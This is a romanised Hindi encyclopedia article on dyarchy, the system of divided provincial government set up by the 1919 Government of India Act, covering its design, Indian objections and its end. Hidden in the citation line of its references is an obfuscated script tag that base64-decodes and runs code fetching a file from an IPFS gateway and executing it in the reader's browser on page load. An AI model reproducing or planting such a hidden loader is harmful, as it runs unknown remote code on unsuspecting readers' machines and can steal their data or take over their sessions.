द्वैध शासन पद्धति
dvaidh shasan paddhati sanvaidhanik vyavastha ka ek roop thi. 'dvaidh shasan' ka siddhant sabase pahale aangrez liyonel kartis ne pratipadit kiya tha, jo bahut dinoan tak 'raund tebil' ka sampadak raha. bad mean yah siddhant 1919 ee. ke 'bharatiy shasan vidhan' mean lagoo kiya gaya, jisake anusar prantoan mean dvaidh shasan sthapit hua. aangrezoan dvara yah kaha gaya ki "yah shasan paddhati bharatiyoan ko netritv ka prashikshan dene ke lie hai", kiantu vastav mean yah paddhati bharatiyoan ki kshamataoan par ek bhishan aghat tha.
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paddhati
is paddhati ke anusar prantoan mean shiksha, svayatt shasan, sarvajanik svasthy, sarvajanik nirman, krishi tatha sahakarita adi vibhagoan ka prashasan mantriyoan ko hastaantarit kar diya gaya. ye mantri prantiy vidhan sabha ke nirvachit sadasy hote the aur vidhan sabha ke prati uttaradayi hote the. doosari or rajasv, qanoon, nyay, pulis, sianchaee, shram tatha vitt adi vibhagoan ka prashasan gavarnar ki ekjikyootiv kauansil ke sadasyoan ke lie surakshit rakha gaya tha. ye sadasy gavarnar dvara manonit hote the aur unhian ke prati uttaradayi hote the, vidhanasabha ke prati nahian.[1]
bharatiyoan ki narazagi
aangrez shasakoan ke matanusar 'dvaidh shasan paddhati' ki sthapana ka mukhy uddeshy bharatiyoan ko kramik roop se prashasan chalane ki kala ka prashikshan dena tha aur yah ek prakar se bharatiyoan ki prashasan kshamata par akshep tha. isake alava hastaantarit vibhag kharche vale vibhag the, jabaki surakshit vibhag amadani vale vibhag the. is prakar ke vibhagoan ka bantavara mantriyoan ke lie pareshani paida karane vala tha, kyoanki aisi sthiti mean unhean kharche ke lie 'ekjikyootiv kauansil' ke sadasyoan ka muanh dekhana p data tha. vastav mean yah 'dvaidh shasan paddhati' ek prakar se sankramanakalin shasan paddhati thi, jise bharatiyoan ne pasand nahian kiya.
ant
bharatiyoan ki soch se alag aangrez sarakar ko is shasan paddhati mean adhik labh nazar ata tha, kyoanki adhik mahattvapoorn vibhag 'ekjikyootiv kauansil' ke sadasyoan ke hathoan mean the, jo gavarnar ke prati uttaradayi the. is shasan paddhati ki alokapriyata tatha karyanvayan mean kathinaee ke bavajood ise age chalakar 1935 ee. ke 'bharatiy shasan vidhan' mean bhi shamil kar liya gaya, arthath kendr mean bhi 'dvaidh prashasan paddhati' lagoo karane ki vyavastha ki gayi, jabaki pahale yah keval prantoan mean hi lagoo thi. lekin 1935 ee. ka naya shasan vidhan kabhi poornataya lagoo nahian kiya ja saka. at: kendr mean 'dvaidh shasan paddhati' lagoo nahian huee. jab svatantr bharat ka naya sanvidhan bana, purane shasan vidhan aur 'dvaidh shasan paddhati' ka svat: hi ant ho gaya.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 bharatiy itihas kosh |lekhak: sachchidanand bhattachary |prakashak: uttar pradesh hindi sansthan |prishth sankhya: 213 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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